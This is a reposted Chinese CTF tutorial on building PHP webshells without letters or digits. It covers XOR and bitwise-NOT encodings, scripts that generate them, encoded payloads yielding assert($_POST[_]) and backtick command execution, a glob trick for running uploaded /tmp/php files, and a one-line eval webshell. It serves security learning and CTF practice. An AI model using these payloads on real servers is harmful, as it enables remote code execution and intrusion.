飞道的博客

浅析CTF绕过字符数字构造shell

491人阅读  评论(0)

前言

在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。

无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。

 

本文涉及知识点实操练习——使用base64与deflate对webshell编码:通过本实验的学习,你能够学会使用简单的webshell,了解到使用base64与deflate对字符串进行编码,对编码后的webshell进行解码。

 

测试源码


   
  1. <?php
  2. if(!preg_match( '/[a-z0-9]/is',$_GET[ 'shell'])) {
  3.   eval($_GET[ 'shell']);
  4. }
  5. //如果shell中不还有字母和数字,则可以执行eval语句

异或绕过

异或的符号是^,是一种运算符。


   
  1. 1 ^  1 =  0
  2. 1 ^  0 =  1
  3. 0 ^  1 =  1
  4. 0 ^  0 =  0

异或脚本


   
  1. <?php
  2. for($i= 128;$i< 255;$i++){
  3.     echo sprintf( "%s^%s",urlencode(chr($i)),urlencode(chr( 255))). "=>". (chr($i)^chr( 255)). "\n";
  4. }
  5. ?>

运行该脚本我们知道


   
  1. % 81^%FF=>~     % 82^%FF=>}       % 83^%FF=>|
  2. % 84^%FF=>{     % 85^%FF=>z       % 86^%FF=>y
  3. % 87^%FF=>x     % 88^%FF=>w       % 89^%FF=>v
  4. % 8A^%FF=>u     % 8B^%FF=>t       % 8C^%FF=>s
  5. % 8D^%FF=>r     % 8E^%FF=>q       % 8F^%FF=>p
  6. % 90^%FF=>o     % 91^%FF=>n       % 92^%FF=>m
  7. % 93^%FF=>l     % 94^%FF=>k       % 95^%FF=>j
  8. % 96^%FF=>i     % 97^%FF=>h       % 98^%FF=>g
  9. % 99^%FF=>f     % 9A^%FF=>e       % 9B^%FF=>d
  10. % 9C^%FF=>c     % 9D^%FF=>b       % 9E^%FF=>a
  11. % 9F^%FF=> `     %A0^%FF=>_       %A1^%FF=>^
  12. %A2^%FF=>]     %A3^%FF=>\       %A4^%FF=>[
  13. %A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X
  14. %A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U
  15. %AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R    
  16. %AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O
  17. %B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L
  18. %B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I
  19. %B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F
  20. %BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C
  21. %BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@
  22. %C0^%FF=>?

通过这种方法构造一个phpinfo()函数


   
  1. ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
  2. //${_GET}{%ff}();&%ff=phpinfo
  3. 我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_ 
  4. %B8^%FF=>G
  5. %BA^%FF=>E  
  6. %AB^%FF=>T 

   
  1. <?php
  2. $a = urldecode( '%ff%ff%ff%ff');
  3. $b = urldecode( '%a0%b8%ba%ab');
  4. echo $a^$b;
  5. //输出_GET

取反绕过

取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。

直接看如何构造phpinfo()

(~%8F%97%8F%96%91%99%90)();
 

可以看出,自己对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码。

取反脚本


   
  1. <?php
  2. $a = urlencode(~ 'phpinfo');
  3. echo $a;
  4. //%8F%97%8F%96%91%99%90
 

构造assert字符

第一种方法


   
  1. % 9E^%FF=>a
  2.  % 8C^%FF=>s
  3.  % 9A^%FF=>e
  4.  % 8D^%FF=>r
  5.  % 8B^%FF=>t
  6.  
  7.   %A0^%FF=>_    
  8.  %AF^%FF=>P 
  9.  %B0^%FF=>O
  10.  %AC^%FF=>S
  11.  %AB^%FF=>T 
  12.     
  13. $_= "%9E%8C%8C%9A%8D%8B"^ "%FF%FF%FF%FF%FF%FF";
  14. $__= "%A0%AF%B0%AC%AB"^ "%FF%FF%FF%FF%FF";
  15. $___=$$__;
  16. $_($___[_]);
 

第二种方法

脚本


   
  1. <?php
  2. $shell =  "assert";
  3. $result1 =  "";
  4. $result2 =  "";
  5. for($num= 0;$num<=strlen($shell);$num++)
  6. {
  7.      for($x= 33;$x< 126;$x++)
  8.     {
  9.          if(judge(chr($x)))
  10.         {
  11.              for($y= 33;$y<= 126;$y++)
  12.             {
  13.                  if(judge(chr($y)))
  14.                 {
  15.                     $f = chr($x)^chr($y);
  16.                      if($f == $shell[$num])
  17.                     {
  18.                         $result1 .= chr($x);
  19.                         $result2 .= chr($y);
  20.                          break  2;
  21.                     }
  22.                 }
  23.             }
  24.         }
  25.     }
  26. }
  27. echo $result1;
  28. echo  "<br>";
  29. echo $result2;
  30. function judge($c)
  31. {
  32.      if(!preg_match( '/[a-z0-9]/is',$c))
  33.     {
  34.          return  true;
  35.     }
  36.      return  false;
  37. }

这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。


   
  1. <?php
  2. $_ =  "!((%)("^ "@[[@[\\";    //构造出assert
  3. $__ =  "!+/(("^ "~{`{|";    //构造出_POST
  4. $___ = $$__;    //$___ = $_POST
  5. $_($___[_]);    //assert($_POST[_]);
?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[\\%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b


   
  1. $_ =  "!((%)("^ "@[[@[\\";
  2. $__ =  "!+/(("^ "~{`{|";  
  3. $___ = $$__; 
  4. $_($___[_]);

%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3b

第三种方法


   
  1. <?php
  2. $a = urlencode(~ 'assert');
  3. echo $a;
  4. //%9E%8C%8C%9A%8D%8B
  5. $b = urlencode(~ '_POST');
  6. //%A0%AF%B0%AC%AB

   
  1. <?php
  2. $_ = ~ "%9e%8c%8c%9a%8d%8b";    //得到assert,此时$_="assert"
  3. $__ = ~ "%a0%af%b0%ac%ab";    //得到_POST,此时$__="_POST"
  4. $___ = $$__;    //$___=$_POST
  5. $_($___[_]);    //assert($_POST[_])
?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);

PHP5和7的区别

  • PHP5中,assert()是一个函数,我们可以用=assert;_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。

PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();

过滤了_

?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>

分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。

过滤了$

PHP7

在PHP7中,我们可以使用($a)()这种方法来执行命令。所以可以用取反构造payload执行命令。(~%8F%97%8F%96%91%99%90)();执行phpinfo函数,第一个括号中可以是任意的表达式。但是这里不能用assert()来执行函数,因为php7不支持assert()函数。

PHP5

在PHP5中不再支持($a)()方法来调用函数,在膜拜P神的无字母数字webshell之提高篇后,有了新的启发。如何在无字母,数字,$的系统命令下getshell?我们利用在Linux shell下两个知识点

1,shell下可以利用.来执行任意脚本

2,Linux文件名支持glob通配符代替

从图可以看出,我们可以成功用.+文件名来执行文件,但是当使用通配符来执行文件时,系统会执行匹配到的第一个文件。

在这两个条件下我们可以想到,如果我们可以上传一个文件,用.来执行这个文件就可以成功getshell。

那么我们怎么上传文件呢?上传文件成功后文件又保存在哪里?怎么匹配执行?

首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

现在我们可以利用glob通配符匹配该文件,我们知道

*可以代替0个及以上任意文件

?可以代表1个任意字符

[^a]可以用来判断这个位置的字符是不是a

[0-9]可以用来限制范围

通过ascii码表我们知道,可见大写字母@[之间,所以我们可以利用[@-[]来表示大写字母。

综上,我们可以利用. /???/????????[@-[]来匹配/tmp/phpXXXXXX

实战演练


   
  1. <?php
  2. if(isset($_GET[ 'evil'])){
  3.      if(strlen($_GET[ 'evil'])> 25||preg_match( "/[\w$=()<>'\"]/", $_GET[ 'evil'])){
  4.         die( "danger!!");
  5.     }
  6.     @eval($_GET[ 'evil']);
  7. }
  8. highlight_file(__FILE__);
  9. ?>

通过编写脚本看看哪些可见字符没有被过滤


   
  1. <?php
  2. for ($ascii =  0; $ascii <  256; $ascii++) {
  3.      if (!preg_match( "/[\w$=()<>'\"]/", chr($ascii))) {
  4.         echo (chr($ascii));
  5.     }
  6. }
  7. ?>

 
可以发现过滤了字母,数字,`$``_``()`等,但`和  .  还没有被过滤。由于过滤了()所以不论PHP版本是5或者7,都不能执行($a)(),所以就没有必要去判断PHP版本。由此可以想到上传一个小马文件,然后用 `  来执行文件。

首先,我们应该上传写一个表单上传


   
  1. <!DOCTYPE html>
  2. <html lang= "en">
  3. <head>
  4.  <meta charset= "UTF-8">
  5.  <title>Document</title>
  6. </head>
  7. <body>
  8.  <form action= "http://ip:*****/" method= "post" enctype= "multipart/form-data">   
  9.   <input  type= "file" name= "file">
  10.   <input  type= "submit" value= "提交">
  11.  </form>
  12. </body>
  13. </html>

提交一个1.txt的文件,这个文件会被保存在这个/tmp/phpXXXXXX临时文件夹下,我们执行这个临时文件夹就是执行1.txt文件里面的内容。

我们在把1.txt中写入ls,并把执行完1.txt文件返回的内容(即执行ls返回的内容)保存在var/www/html目录下的abc文件中

var/www/html是Apache的默认路径,我们也可以直接写ls />abc

接着在ip地址后添加/abc,可以看到成功返回执行1.txt后的内容。

 

直接cat flag

我们还可以上传一个小马文件get flag

例如我们创建一个hello.php的文件,文件内容为

echo "<?php eval(\$_POST['shell']);" 

然后cat flag


转载:https://blog.csdn.net/qq_38154820/article/details/111189424
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场